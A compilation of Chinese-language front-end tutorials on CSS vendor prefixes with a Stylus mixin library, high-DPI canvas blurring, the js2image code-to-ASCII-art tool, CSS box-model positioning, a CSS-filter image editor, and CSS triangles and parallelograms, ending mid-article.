CSS3 每个浏览器都有私有属性例如 -moz 代表firefox浏览器私有属性、-ms 代表IE浏览器私有属性、-webkit 代表chrome、safari私有属性，在 CSS3 标准还在没有定稿的时候，CSS3 中有很多属性都还处于实验性阶段，各个浏览器都针对暂行的规范草稿根据自己的理解做了 CSS3 新特性实现，但因为规范尚未成熟和定稿，某些描述的不清晰或是处理逻辑的不完整可能导致一些目前的实现在日后被修改。暂时使用带前缀的属性比如 -webkit-transform 的初衷，是为了以后即便 transform 的最终实现与目前不同，你原来写的 -webkit-transform 还是可以正常工作。所以浏览器现在开始越来越倾向于直接实现最终属性而抛弃前缀了。老的浏览器可能不支持 transform ，所以我们通常为了兼容各个版本的浏览器，-webkit-transform 和 transform 两个属性都加上了。


	-webkit- (Google Chrome & Safari)


	-khtml- (Konqueror)


	-moz- (Mozilla Firefox)


	-ms- (Internet Explorer)


	-o- (Opéra)


	syntaxe normale




下载

$ bower install AutoPrefixCss #下载
$ bower info AutoPrefixCss #查看详情

初衷

网上有很多js实现的自动添加 CSS前缀的哦，例如autoprefixer 、prefixfree。


	stylus 的出现感觉添加这种前缀不用太麻烦了。


	只生成CSS，浏览器直接渲染CSS，不用通过js生成CSS在渲染。




使用必备条件

需要安装 node.js 和 stylus ，还得学会使用 stylus， stylus github， stylus教程

Usage

reset.styl

只需要将 reset.styl 到您的项目，然后引用 @import('reset.styl') ，然后在你所引用的.styl 中调用下面任何一个方法：


	global-reset() # 所有标签重置不包括HTML5新标签重置


	nested-reset() # 嵌套标签重置


	reset-font()


	reset-box-model()


	reset-body()


	reset-table() # 表格重置


	reset-table-cell() # 表格单格重置


	reset-html5() # HTML5新标签重置




例子：

@import('reset.styl')
global-reset()

自动添加CSS前缀

只需要将 vendor.styl 到您的项目，然后引用 @import('vendor.styl') ，然后你在你的 styl 文件中正常使用 stylus 语法就好了。效果如下例子：

opacity

adds opacity filter for IE

@import('vendor.styl')
body
    opacity:0.5

生成：

body {
  opacity: 0.5;
  -khtml-opacity: 0.5;
  -moz-opacity: 0.5; /* old Mozilla */
  filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=50); /*old IE */
}

关注公众号




 Canvas 在高清屏下绘制图片变模糊的解决方法

作者：KevinYue

来源： Canvas 在高清屏下绘制图片变模糊的解决方法



                    
之前我在 SF 上回答过「html5 canvas绘制图片模糊的问题」，但是可能是由于我给出的答案过于简略，加上答案中的 demo 链接已经失效，很多人反映这种办法并不好使。但是我在给出答案之前是在小米2 和 iPhone 上测试过的，没有任何问题。下面我会一步一步地描述具体的步骤。



前提条件

假设我们要在 canvas 中绘制一张 300 x 90 的图片，并且要保证它在高清屏中不模糊。那么我们首先要准备一张 600 x 180 的图片，处理过高清屏的同学应该会有这方面的经验。

问题重现

OK，我们先把问题重现一下，以便有一个更直观的了解。下面是相关的代码（为了简单起见，我把代码都写在了 HTML 文档里面）：

<!-- 通过 img 标签引入图片，以便绘制到 canvas 中 -->
<img src="html5rocks.png" alt="" width="300" height="90">

<!-- canvas -->
<canvas width="300" height="90"></canvas>

<script>
    function init() {
        var canvas = document.querySelector('canvas');
        var ctx = canvas.getContext('2d');
        ctx.drawImage(document.querySelector('img'), 0, 0, 300, 90);
    }
    window.onload = init;
</script>

代码很简单，没有做任何处理，具体的效果和完整的代码可以查看这个 DEMO，这个 demo 在高清屏的手机中会出现的问题：canvas 中的图片变模糊了！。

至于为什么会变模糊，这和浏览器处理 canvas 的方式有关，相关的文章可以参考这篇 High DPI Canvas，这里不作深入介绍。

解决问题

首先，引入 hidpi-canvas-polyfill


其实，不只是绘制图片时会出现模糊的问题，正常情况下，在高清屏的设备中，任何绘制在 canvas 中的图形（包括文字）都会出现模糊的问题。上面这个 polyfill 就是为了解决这个问题，但是它没有处理图片。

接下来，修改绘制图片的代码

将 init 函数修改成下面这样：

function init() {
    var canvas = document.querySelector('canvas');
    var ctx = canvas.getContext('2d');

    // polyfill 提供了这个方法用来获取设备的 pixel ratio
    var getPixelRatio = function(context) {
        var backingStore = context.backingStorePixelRatio ||
            context.webkitBackingStorePixelRatio ||
            context.mozBackingStorePixelRatio ||
            context.msBackingStorePixelRatio ||
            context.oBackingStorePixelRatio ||
            context.backingStorePixelRatio || 1;
    
        return (window.devicePixelRatio || 1) / backingStore;
    };

    var ratio = getPixelRatio(ctx);
    
    // 注意，这里的 width 和 height 变成了 width * ratio 和 height * ratio
    ctx.drawImage(document.querySelector('img'), 0, 0, 300 * ratio, 90 * ratio);
}

可以点击这里查看完整的代码和效果，在高清屏的设备中打开，看看 cavans 中的图片是否完美显示。

说明

这个解决方案本质上和 @白一梓 的答案是一样的：先放大 canvas，再用 CSS 将其限制回原始大小。

如果你看了 polyfill 的代码就会明白其中的原理了，这个 polyfill 的代码十分简短明了，它做了两件事：一是将 canvas 的高和宽分别乘以 ratio 将其放大，然后又用 CSS 将高和宽限制成初始的大小；二是 hack canvas 中常用的函数，如：fillRect, clearRect, lineTo, arc 等，将它们的参数都乘以 ratio，以方便我们可以像以前那样使用这些方法，而不用在传参的时候手动乘以 ratio。


 圣诞节，把网站所有的js代码都压缩成圣诞树吧。

作者：代码诗人芋头

来源： 圣诞节，把网站所有的js代码都压缩成圣诞树吧。



                    

本文分两章节，分别讲解如何使用js2image这个库生成可以运行的圣诞树代码 和 js2image的原理。

github地址：https://github.com/xinyu198736/js2image ps:求star

在线转换地址：http://f2e.souche.com/cheniu/js2image.html



效果的话，可以去看一下我们公司的官网（http://www.souche.com ），里面涉及到的js代码在今天大部分被临时替换成了圣诞树，打开每个js代码即可看到效果。

其实也不神奇，我们使用了自己写的一个nodejs库，如果您要实现这样的效果，只需要按照下面第一章节的方法即可。当然您也可以在线压缩代码： http://f2e.souche.com/cheniu/js2image.html

下面分两章节，分别讲解如何使用js2image这个库 和 js2image这个库的原理。

js2image使用

github地址：https://github.com/xinyu198736/js2image 欢迎送上star或者follow。 

js2image主要有两个比较特殊的特性：


	将任意js源码 压缩成 用代码堆砌成图形的最终代码。例如圣诞树，圣诞老人，代码和图片都可以自定义。


	压缩后的js代码格式虽然被破坏，但是仍然可以运行。这个是关键点！




压缩后的示例可以查看这些js（均来自搜车官网）
http://assets.souche.com/assets/js/souche.js souche主脚本
http://assets.souche.com/assets/js/lib/jquery-1.7.1.min.js jquery 1.7.1
http://assets.souche.com/assets/js/lib/mustache.js mustache

使用方式很简单：

npm install js2image -g;

然后在存在js的文件夹中执行：

js2image -s ./resource/jquery.js

或者针对某个目录下所有的js执行（慎用），会深度遍历此目录里所有的js文件然后压缩出.xmas.js后缀的结果文件。

js2image -s ./resource/

即可生成一个对应的 **.xmas.js 的文件。 

如果要将js2image集成到gulp或者其他nodes项目中，可以使用用模块的形式：

var Js2Image = require("js2image");//获取结果的    codeJs2Image.getCode("./resource/jquery.js","./resource/tree.png",{}).then(function(code){    
   console.log(code);
})

更多的信息可以参照github上的文档。 

如果只是要使用这个效果，看到这里就ok啦，下面讲解这个库的原理，有些地方可能比较绕。

js2image实现原理

js2image的实现从宏观来说，大体只有3个要点。


	从图片生成字符画，这个有现成的库。


	把js代码分割成一小块一小块，尽量小，然后用逐行填充的方式分别替换到上一步生成的字符画里去。


	js代码中有诸多不能分开的语法，分块的时候要把这些语法保留在一个块内。这个是这个库的难点所在，也是代码最多最绕的地方。




稍有想法的同学估计看到这里基本已经明白是怎么回事了，下面一一讲解这3个要点。

① 从图片生成2值得字符画

这里用到了一个现成的npm包：image-to-ascii 。这个库的作用是用指定的字符来还原一个图像。而我们用这个库来生成一个用 ☃字符和空格 分别表示黑和白的字符画，然后将字符画的每一行分解成数组的一个元素，供第二步使用，这就是我们中间生成的一个struct，代码见 utils/image-to-struct.js 

② 分割js源码成尽量小的小块。

这是非常重要的一步，js代码具体可以分解成多细的小块呢？

看下面一段代码：

                            !function             
                            (e,t             
                            ){ (             
                           "objec"           
                          +"t")  ==           
                         typeof           
                       module &&  (         
                      "objec"+"t")           
                    == typeof module         
                  .exports?module.       
                exports=e.document?t(e       
              ,!0):function(e){if(!e.     
            document) throw new Error (     
          ("jQuer"+"y req"+"uires"+" a wi"   
       +"ndow "+"with "+"a doc"+"ument") )   
    ; return t (e)}:t(e)}( ("undef"+"ined") 
    !=typeof    window ?window:this,function(e,t){var   

这是jQuery开始的一段代码,可以看到，大部分操作符都允许中间插入任意多的空格或者换行，我们正是利用这一特性将js代码解肢，然后拼接成任意形状的图片。 

核心代码其实就是一个正则，我们用这个正则把js源码解构成一个数组，然后后续根据每行需要的字符数，从这个数组里不断取片段出来拼接。

//分离代码，以可分割单位拆分成数组。var lines = hold_code.replace(/([^a-zA-Z_0-9=!|&$])/g,"\n$1\n").split("\n");
有了这个lines数组之后后面就简单了，根据第一步里生成的struct不断遍历从lines抽取代码填充到struct里即可生成最终的代码：
while(lines.length>0){
    //循环往struct里填充代码
    struct.forEach(function(s){
        var chars_arr = s.replace(/ +/g," ");//一行有多组分离的*****
        var r = s;
        chars_arr.split(/ +/).forEach(function(chars){
            if(chars.length == 0){
                return;
            }
            var char_count = chars.length;
            //从lines里取出char_count数量的代码来填充,不一定精准,要确保断行正确
            var l = pickFromLines(lines,char_count);

            r = r.replace(chars,function(){
                return l;
            })
        })
        result += r+"\n"
    })

}

③ 保留不可分割的语法

注意：到了这一步，还很早，你分解出来的代码是无法运行的，很多不能换行和加空格的代码都被你分开了，自然会报错，那如何处理这些情况呢？ 

这一步，我们做的工作就是： 

在执行代码分拆之前，提取出代码里所有不可分割的语法，将他们保留在一个对象中，并且在源代码中用占位符替代这些语法，然后让占位符参与上个步骤的分离，因为占位符是一个完整的连字符变量，所以不会被分割。在分割完成之后，我们再把这些占位符替换回来即可。 

不过，在js中哪些语法必须是连接在一起才能正常运行的呢？ 

这里总结下：


	字符串不可分割 包括双引号单引号内的内容。


	正则表达式绝对不可分割 正则里的转义很难处理，这是这个算法里的难点。


	运算操作符 包括2字符的3字符的 例如 以下两种




var double_operator = ["==", ">=", "<=", "+=", "-=", "*=", "/=", "%=", "++", "--", "&&", "||", ">>", "<<"]
var three_operator = ['===', '!==']

一些固定语法，可以用正则表达，如下：

var reg_operator = [
    {
        start:"return",
        reg:/^return[^a-zA-Z_0-1"'][a-zA-Z_0-1.]+/ // return 0.1 或者 return function 或者return aaabb
    },
    {
        start:"return\"",
        reg:/^return".*?"/ // return "d" 或者 return ""
    },
    {
        start:"return\'",
        reg:/^return'.*?'/  // return 'd' 或者 return ''
    },
    {
        start:"throw",
        reg:/^throw [a-zA-Z_0-1]+?/ //throw new 或者 throw obj 
    }
]

小数点语法，例如 0.01 因为之前我们用点号来分割代码的，但是这里的点号不能作为分割符使用，需要保留前后数字跟点号在一行
其他语法，例如 value++ 之类的语法，变量和操作符之间不可分割。
那我们如何从源代码中解析出这些语法，然后做处理呢？ 

核心代码均在 utils/keep-line.js 中 

核心算法，事实上是通过一个对字符串的遍历来完成的，然后在遍历每个字符的时候都会判断是否进入某个逻辑来跳跃处理。

例如，判断出当前在双引号内，则进入字符串提取逻辑，一直到字符串结束的时候再继续正常的遍历。

其他操作符和正则表达式的算法也是类似，不过里面很多细节需要处理，例如转义字符之类的。

有些比较特殊的，例如小数点语法的提取，在判断到当前字符是点号之后，需要往前和向后循环查找数字，然后把整个语法找出来。 

这里不细讲，在keep-line.js 这个文件中又一大坨代码做这个事情的。

④ 字符串解构

做到这一步的时候，其实效果已经很不错了，也可以保证代码的可运行，但是代码里有些字符串很长，他们总是会被被保留在一行里，这样就造成他会影响一些图案的边缘的准确性（代码分离原则是越细越好，就是为这个考虑）。

我们如何处理呢，那就是将字符串解构，以5个为单位将字符串分离成小块。

这里有两个比较重要的问题需要处理；


	字符串内的转义字符如何处理，还有一些特殊字符，例如0x01这样的字符，这些字符不能被分离到不同的字符串里，所以分离的时候要保留这些字符串的完整性。


	字符串分离成小字符串，然后用+号拼接起来，不过要注意操作符优先级的问题，所以所有分离后的字符串，都要用括号包起来，让这个+号的优先级永远最高。
具体算法见 keep-line.js 中的 splitDoubleQuot （分离双引号字符串）。




结语

至此，整个应用就完成了，可以顺利完成从任意js和图像生成图形代码了。

再说一遍项目开源地址：https://github.com/xinyu198736/js2image 欢迎star，顺便follow下楼主就更开心了。


 “位置”在css里的细节

作者：EdwardUp

来源： “位置”在css里的细节



                    
位置是个怎样的概念

哎，这个元素怎么跑那里去了？

回想一下，在我们觉得“样式崩了”，“页面出bug了”的时候，是不是会有相当一部分情况都可以描述成上面这句话呢？

我们在写css的时候，就会经常考虑“位置”这个事。理念就是，所有的页面元素都应该被安排在为它预定的位置上。毕竟按照计划预定的来，才能有条不紊，不容易出错。

就像一本杂志的编辑，即便文稿都已准备好，但具体哪篇放在第几页的哪里，是要认真考虑的。好的杂志应该有好的排版。

下面，本文将介绍一些会影响到“位置”，但一般不太会知道的要点。

盒模型的再认识

盒模型你一定很熟悉：



在content、padding、border、margin这些区域之外，请注意图中的edge，也就是分隔盒模型各区域的边。在确定页面元素的准确位置时，需要细致地参考这些边。它们按照范围从小到大分别是：


	content edge，也叫做inner edge（注意和JavaScript的innerWidth等区别开）。它围成的区域代表内容区，一般由元素内的具体内容决定。它确定的范围叫做content box，也是css属性box-sizing的默认值content-box的范围。


	padding edge。它确定padding box的范围。尽管w3c规范已经从box-sizing移除了这个值，但很容易类比理解。


	border edge。它确定border box的范围。


	margin edge，也叫做outer edge。它确定margin box的范围。box-sizing也没有这个值。




为什么需要了解这些边呢？想象一下你想要放置一个元素到你为它安排的位置上，但是，你拿的元素并不是一个点（比如物理学里的质点），而是一个盒子。一个占据一定空间的盒子，如果没有边作为参照，你能清楚地知道应该怎样去对齐吗？

背景的位置

背景是很常用的样式，但有好多地方可能不太会注意。

背景分为背景图（background-image）和背景色（background-color），渐变（css gradients）也属于背景图。其中，背景图位于背景色之上。如果使用多个背景图（multiple backgrounds），声明靠前的位于上方。

除background-clip之外的其他背景属性，如background-position、background-size等，都只作用于背景图，对背景色没有作用。这是可以理解的，因为背景色很单纯，它没有起点和终点，总是铺满整个空间，要么有，要么没有。

现在，一个元素div.bg-element定义了这样的css：

.bg-element{
    width: 100px;
    height: 100px;
    margin: 20px;
    padding: 20px;
    border: 5px dashed #386365;
    background: #2aace9 url(pattern.png) no-repeat;
}


这是一个同时有背景图和背景色的元素，而且有内外边距及边框，其效果是：



可以看出，在默认情况下，背景图的起始点为padding box的左上角，而背景色没有起始点，将铺满整个border box（为了看到这一点，特意用了dashed边框）。虽然这个例子中的背景图好像限制在padding box范围内，但实际上，它和背景色的可见范围是一样的，都是border box，用background-position或background-repeat稍作修改即可验证：



这个背景可见范围的概念，对应了css3新增属性background-clip。这个属性的默认值就是border-box。如果更改它，会是这样：



无论怎么修改可见范围，这个例子中的背景图的起始点都是padding box左上角，这就是背景图起始点的概念。它对应的是css3中新增的background-origin，其默认值正是padding-box。如果修改了background-origin，那么属性background-position产生的位置偏移，包括right、bottom等关键字的情况，都会对应地改变参考的边。

外边距区域不会有背景。前文的盒模型的图里，margin和transparent一起也是这个意思。

自设容器进行定位

你一定用过这样的定位搭配：position: relative;的父元素，加上position: absolute;的子元素。

这比较像建立一个xy平面坐标系，然后把元素放置在自己想要的坐标位置上。但是，x轴、y轴、原点、坐标点，它们分别在哪里呢？

请看这个例子：

<div class="pos-container">
    <div class="pos-element"></div>
</div>


.pos-container{
    position: relative;
    width: 140px;
    height: 140px;
    margin: 20px;
    padding: 20px;
    border: 5px dashed #789;
}
.pos-element{
    position: absolute;
    width: 70px;
    height: 70px;
    margin: 10px;
    padding: 20px;
    border: 5px dashed #a74;
    background: #e5c5a5;
    left: 0;
    top: 0;
}


得到的结果是：



由于边框是明显的有视觉效果的部分，因此border edge的位置很容易确定。注意两个元素都有完整的内外边距和边框，而此时div.pos-element的坐标是(0, 0)，图中间距为10px。经过分析可以得知，这个10px间距来自div.pos-element的margin。所以可以得到什么结论呢？结论如下：



首先，网页的平面坐标系和通常的数学平面直角坐标系不同，y轴的正方向是朝下的。事实上，包括Photoshop、Flash等平面设计在内的界面，都使用这样的坐标系。

这种搭配的情况下，构成坐标系xy轴的是用作容器的元素的padding edge。其中padding edge的左上角即为坐标系的原点。

绝对定位的元素设置的left、top所形成的坐标位置点，位于该元素的margin edge的左上角。也就是，定位元素是用margin edge的左上角这个点来对齐坐标的。

此外，构成定位参考坐标系的是包含块，而不一定是直接父元素。

包含块

包含块（containing block）是css规范的视觉格式化模型（visual formatting model）中的概念，它是一个逻辑的矩形框，用于css的定位及尺寸的计算，并不限制内部元素的位置，可以溢出。它和盒模型的关系可以这样描述：一个DOM元素对应一个盒模型，盒模型的某一条边（这不是固定的）将标明该DOM元素创建的包含块范围。

一般情况下，一个DOM元素的子元素（以及这些子元素的盒模型）以这个DOM元素的content edge作为包含块的边界。

特别地，在这种position: relative;的父元素及position: absolute;的子元素的搭配中，绝对定位的子元素以父元素的padding edge作为自己的包含块的边界。

更具体的包含块的边界判定可以参考W3C的说明。

普通流、浮动与绝对定位的三方纠葛

在确定一个DOM元素的位置时，我们需要考虑它的定位方案（positioning schemes）。一个DOM元素可以选择以下三个方案：


	普通流（normal flow）。如果你对这个元素什么也没干，那就是它了。


	浮动（floats）。当元素的float属性设置了left或right后。


	绝对定位(absolute positioning)。当元素的position属性设置了absolute或fixed后。




如果一个DOM元素既设置了浮动又设置了绝对定位，那么它是绝对定位（float会被重置为none的计算值）。

你也许听说过“脱离文档流”这样的词汇，它在css里是确实存在的概念，原词是out of flow。如果一个元素的定位方案是浮动或绝对定位，又或者这个元素是根元素（root element），就称这个元素是脱离文档流（out of flow）的。

文档流的问题

同一层级的兄弟元素，同时有普通流、浮动、绝对定位这三种定位方案时，它们之间的相互关系是怎样的？

要理清这个相互关系，需要理解脱离文档流具体是什么意思。

css规范中这样描述绝对定位：

In the absolute positioning model, a box is removed from the normal flow entirely and assigned a position with respect to a containing block.



请注意这里的entirely，这是在说，绝对定位是完全脱离文档流的。为什么要强调完全呢？

因为，脱离文档流是一个比较暧昧的概念，还有不完全的。请看浮动的描述：

In the float model, a box is first laid out according to the normal flow, then taken out of the flow and shifted to the left or right as far as possible.



前文已经说过，浮动被归类为out of flow，也就是脱离文档流，但这里却提到了先基于文档流取得一次位置，然后再向左或向右移动。所以，浮动不是完全脱离文档流的。

浮动的特性

之前看到过别人的这样一个提问：



对应html代码（css省略）：

<div class="scheme-container">
    <div class="scheme-element-normal">normal</div>
    <div class="scheme-element-float">float</div>
</div>


按照传统的“浮动元素是脱离文档流的”的理解，为什么这个右浮动元素只是浮动到了它所在行的右边，而不是整个容器的右上角呢？

答案就是，浮动不是完全脱离文档流的。这有两方面的意思。

一方面，浮动可以影响文档流。你一定见过把一段文字里的某一个图片浮动，来制造文字环绕图片效果的用法：



这些位于文档流内的文字，仍然会为浮动元素留出空间，而并非互不相干。这其实是浮动元素影响行框（line box）的宽度的结果。

另一方面，浮动会受到文档流的影响。规范里列出的浮动元素的精确特性规则中有这样一条：

The outer top of a floating box may not be higher than the outer top of any block or floated box generated by an element earlier in the source document.



这里的outer top就是margin edge (outer edge)的top edge。意思是，浮动元素不可以高于任何在源文档之前的块元素或浮动元素。我们很熟悉浮动元素是会一个接一个地寻找空间排列的，但这一条却告诉我们，如果前面还有块元素，那么它们也会影响浮动元素的上边缘位置。

请看这个例子：



如果一个浮动元素之前还有其他的浮动元素，那么会考虑到它们，而可能排列到一个更靠下的位置。那么，如果之前还有块元素，而且占据了更大的位置呢？从上图可以看到，浮动元素同样会将其考虑在内。

这就是前面的提问的详细解释了。

绝对定位

绝对定位大部分时候并不像浮动这样让人困惑。显然，它被定义为“完全脱离文档流”，就是说它和文档流的关联很弱，一般只根据包含块和坐标来确定位置就可以了。

完全脱离文档流，也仍然不是说和文档流毫不相干，各自为政。它的意思是：这个元素在参与布局时，不会影响在它之后的兄弟元素。绝对定位元素，在left、top等定位属性取值auto的时候，仍然会根据文档流取得一个可用的计算值。

三者的覆盖关系

如果有重叠，就要考虑覆盖关系了。它们的位置从下到上依次是：


	z-index为负的定位元素。


	普通流（normal flow）的非行内元素。


	浮动元素。


	普通流的行内元素。


	z-index为auto或0的定位元素。


	z-index为正值的定位元素。




结语

想要让元素稳定地待在为它预定的位置上，还是有很多功课要做的。本文只介绍了一部分有关位置的细节知识，如果你也曾对这些内容有所困惑，那么希望能有所帮助。

（重新编辑自我的博客，原文地址：http://acgtofe.com/posts/2015/10/xyz-in-css）


 用CSS和JS打造一个简单的图片编辑器

作者：JellyBool

来源： 用CSS和JS打造一个简单的图片编辑器



                    

  原文来自：https://jellybool.com/post/build-a-simple-image-editor-with-css-js




demo: https://jellybool.com/demo/image-editor


效果图：





本文主要是利用CSS的 filter和简单的Jquery代码来实现一个简单的图片编辑器，包括对图片的透明度，黑白，图片亮度等调节。


CSS filter


我们首先来探讨一下filter。


首先来说明一下filter，在CSS里面要实现filter，其实很简单，使用类似下面的声明方式：


.example {
  filter: <filter-function> [<filter-function>];
}




比如说，我们给图片添加一点灰度(grayscale)特效，就可以这样：


.example {
  filter: grayscale(90%);
}




当然，为了浏览器兼容，我们最好这样写：



.example {
  -webkit-filter: grayscale(90%);
  filter: grayscale(90%);
}




需要注意的是：filter的属性值的单位通常可能是从0到1之间，但是有些不是这样的，比如blur是使用像素'px'来作为单位的，而hue-rotate则使用角度deg来作为基本单位；


.example {
  filter: blur(10px);
}

.example-2 {
  filter: hue-rotate(90deg);
}





但是如果每次只能使用一个filter就比较麻烦了，所以CSS提供了更加方便的书写形式，直接并排着写：


.example {
  filter: grayscale(0.5) blur(10px);
}




这样就可以实现对一个元素添加多个filter属性。


简单地说完filter之后，我们来动手创建一个简单的图片编辑器。


创建基本的HTML文件


在这里我们创建一个index.html，代码也比较简单：



<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <title>Image Editor</title>

        <link href = "css/main.css" type="text/css" rel="stylesheet">
    </head>

    <body>
        <div class="wrapper">
            <h1>Image Editor</h1>

            <!--Form for collecting image URL -->
            <form id="urlBox" class = "center">
                <input class="url-box" type="url" id="imgUrl" placeholder="Paste any image link and hit enter to start playing.">
            </form>

            <!--Controls for CSS filters via range input-->
            <div class="sliders">
                <form id="imageEditor">
                    <p>
                        <label for="gs">Grayscale</label>
                        <input id="gs" name="gs" type="range" min=0 max=100 value=0>
                    </p>

                    <p>
                        <label for="blur">Blur</label>
                        <input id="blur" name="blur" type="range" min=0 max=10 value=0>
                    </p>

                    <p>
                        <label for="br">Brightness</label>
                        <input id="br" name="br" type="range" min=0 max=200 value=100>
                    </p>

                    <p>
                        <label for="ct">Contrast</label>
                        <input id="ct" name="ct" type="range" min=0 max=200 value=100>
                    </p>

                    <p>
                        <label for="huer">Hue Rotate</label>
                        <input id="huer" name="huer" type="range" min=0 max=360 value=0>
                    </p>

                    <p>
                        <label for="opacity">Opacity</label>
                        <input id="opacity" name="opacity" type="range" min=0 max=100 value=100>
                    </p>

                    <p>
                        <label for="invert">Invert</label>
                        <input id="invert" name="invert" type="range" min=0 max=100 value=0>
                    </p>

                    <p>
                        <label for="saturate">Saturate</label>
                        <input id="saturate" name="saturate" type="range" min=0 max=500 value=100>
                    </p>

                    <p>
                        <label for="sepia">Sepia</label>
                        <input id="sepia" name="sepia" type="range" min=0 max=100 value=0>
                    </p>

                    <input type="reset" form="imageEditor" id="reset" value="Reset" />

                </form>
            </div>  

            <!--container where image will be loaded-->
            <div id="imageContainer" class="center">
                <img src="images/aviary_heibai.jpg"/>
            </div>
        </div>

        <script type="text/javascript" src="js/jquery-2.1.0.js"></script>
        <script type="text/javascript" src="js/main.js"></script>


    </body>
</html>





这个文件里，我们引入了main.css和main.js，main.css其实是对编辑器的一些排版起的作用，并没有对图片的filter效果做出实际的影响，我们做的是编辑器，所以在用户改变某个filter的值的时候，我们可以实时让用户看到效果，于是这些实现filter的代码应该就放在main.js里面。


上面的每一个 <form id="imageEditor">下面的<p>元素下面的input都是filter的一个属性设置，因为我们可以同时用多个filter来对图片产生特效，所以我每个filter的属性值都设置为可以调节的状态。


上面的index.html还要说明的是，在最上面我们提供一个输入框，用于给用户输入图片的URL，当用户点击回车的时候，我们就将这张图片显示到编辑区域。使用的是下面的简单js代码：


function addImage(e) {
    var imgUrl = $("#imgUrl").val();
    if (imgUrl.length) {
        $("#imageContainer img").attr("src", imgUrl);
    }
    e.preventDefault();
}

//on pressing return, addImage() will be called
$("#urlBox").submit(addImage);





上面的js代码也是写到main.js当中。有了可以用户自己添加图片之后，我们就可以实现对图片的编辑了：


每次用户在滑动进度条的时候，我们就可以将效果展示给用户看，于是我们来监听用户的mousemove事件：


$("input[type=range]").mousemove(editImage);




也就是说，每次用户在移动控制条的时候，我们都执行editImage函数。

但是这样的体验可能还不是最好，因为在最后用户的鼠标离开控制条的时候，我们还可以监听change事件，把这一刻的变化也交给editImage函数处理，所以可以将上面的代码写成这样：


$("input[type=range]").mousemove(editImage).change(editImage);




编写editImage函数


上面我们将input[type=range]的mousemove和change事件交给了editImage函数处理，所以，我们来编写一下editImage的函数代码：



function editImage() {
    var gs = $("#gs").val(); // grayscale
    var blur = $("#blur").val(); // blur
    var br = $("#br").val(); // brightness
    var ct = $("#ct").val(); // contrast
    var huer = $("#huer").val(); //hue-rotate
    var opacity = $("#opacity").val(); //opacity
    var invert = $("#invert").val(); //invert
    var saturate = $("#saturate").val(); //saturate
    var sepia = $("#sepia").val(); //sepia

    $("#imageContainer img").css("filter", 'grayscale(' + gs+
                                                     '%) blur(' + blur +
                                                     'px) brightness(' + br +
                                                     '%) contrast(' + ct +
                                                     '%) hue-rotate(' + huer +
                                                     'deg) opacity(' + opacity +
                                                     '%) invert(' + invert +
                                                     '%) saturate(' + saturate +
                                                     '%) sepia(' + sepia + '%)');

    $("#imageContainer img").css("-webkit-filter", 'grayscale(' + gs+
                                                     '%) blur(' + blur +
                                                     'px) brightness(' + br +
                                                     '%) contrast(' + ct +
                                                     '%) hue-rotate(' + huer +
                                                     'deg) opacity(' + opacity +
                                                     '%) invert(' + invert +
                                                     '%) saturate(' + saturate +
                                                     '%) sepia(' + sepia + '%)'); 

}





其实很简单，我们在每次用户滑动控制条的时候，我们就通过类似var gs = $("#gs").val();的语句取得相对应地值，然后通过Jquery的css()方法直接为图片加上filter效果，而且相信你也看得出来，这个函数的后半段就是实现浏览器兼容的


$("#imageContainer img").css("-webkit-filter",...)





这段代码其实就是在img元素实现了类似下面的效果；



<img src="images/aviary_heibai.jpg" style="-webkit-filter: grayscale(0%) blur(0px) brightness(100%) contrast(100%) hue-rotate(0deg) opacity(100%) invert(0%) saturate(100%) sepia(0%);">




最后，如果你不想将某些特效加到图片上面去，你可以点reset然后将图片重置到原始状态：


$('#imageEditor').on('reset', function () {
    setTimeout(function() {
        editImage();
    },0);
});



这里需要说明一下的是，这里的setTimeout函数就是为了将reset的效果最快地展现出来，如果写成下面的形式：


$('#imageEditor').on('reset', function () {

        editImage();
    });




这个时候，reset效果执行起来其实是有一点延迟的，你明显可以看到等待的时候，它并不是很快。


浏览器打开index.html，就可以看到相应的调节效果了。你可以拖动一些设置项的控制条来查看效果。


Happy Hacking


 用 CSS 实现三角形与平行四边形

作者：JerryZou
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本文最初发布于我的个人博客：咀嚼之味



最近在逛某个技术网站的时候，感觉文章关键词上的样式好酷炫啊。于是我将那种写法照搬到了我的博客中，也许最近逛过我博客的小伙伴已经发现了它出现在哪儿了——分页的样式。来张截图：



你在首页的底部也可以看到这样一个分页栏；是不是看上去还不错？下面就来看看这是如何实现的吧~

第一种方法：利用border


第一种方法是借助border属性 hack 出三角形，然后通过一个矩形拼接两个三角形最终制造出一个平行四边形。为什么使用border可以产生三角形呢？先来看看一张图片：



看了图中的三个小图形的变化过程，你应该已经清楚了一半。其实 hack 出三角形只需要两个条件，第一，元素本身的长宽为0；其次，将不需要的部分通过 border-color 来设置隐藏。通过类似的方法，你还可以创造出梯形，上图中的三个图形的代码如下。（另附 CodePen 示例）

#first {
  width: 20px;
  height: 20px;
  border-width: 10px;
  border-style: solid;
  border-color: red green blue brown;
}

#second {
  width: 0;
  height: 0;
  border-width: 10px;
  border-style: solid;
  border-color: red green blue brown;
}

#third {
  width: 0;
  height: 0;
  border-width: 10px;
  border-style: solid;
  border-color: red transparent transparent transparent;
}

接下来就要考虑如何拼接出一个平行四边形了。在border法中，它由三部分组成，分别是左三角形、矩形、右三角形。如果每次绘制平行四边形都要创建三个元素显然过于麻烦了，所以在这里:before和:after伪元素是个不错的选择。下面我们实现一下这样的效果：



为了将三角形与矩形无缝拼接到一起，多处属性要保持一致，所以使用类似 Less, Sass, Stylus 等 CSS 预处理器来写这段代码会更容易维护，下面给出 Scss 版本的代码。（另附 CodePen 链接）

//三角形的宽高
$height: 24px;
$width: 12px;

//对平行四边形三部分的颜色进行赋值
@mixin parallelogram-color($color) {
  background: $color;
  &:before { border-color: transparent $color $color transparent; }
  &:after { border-color: $color transparent transparent $color; }
}

//单个三角形的样式
@mixin triangle() {
  content: '';
  display: block;
  width: 0;
  height: 0;
  position: absolute;
  border-style: solid;
  border-width: $height/2 $width/2;
  top: 0;
}

//平行四边形的样式
.para {
  display: inline-block;
  position: relative;
  padding: 0 10px;
  height: $height;
  line-height: $height;
  margin-left: $width;
  color: #fff;

  &:after {
    @include triangle();
    right: -$width;
  }

  &:before {
    @include triangle();
    left: -$width;
  }

  @include parallelogram-color(red);
}

需要注意的是，如果通过 $height、$width 设置的三角形斜率太小或太大都有可能造成渲染出锯齿，所以使用起来要多多测试一下不同的宽高所得到的视觉效果如何。

第二种方法：利用transform


使用transform来实现平行四边形的方法是我在逛去啊的时候看到的，效果大概是这个样子：



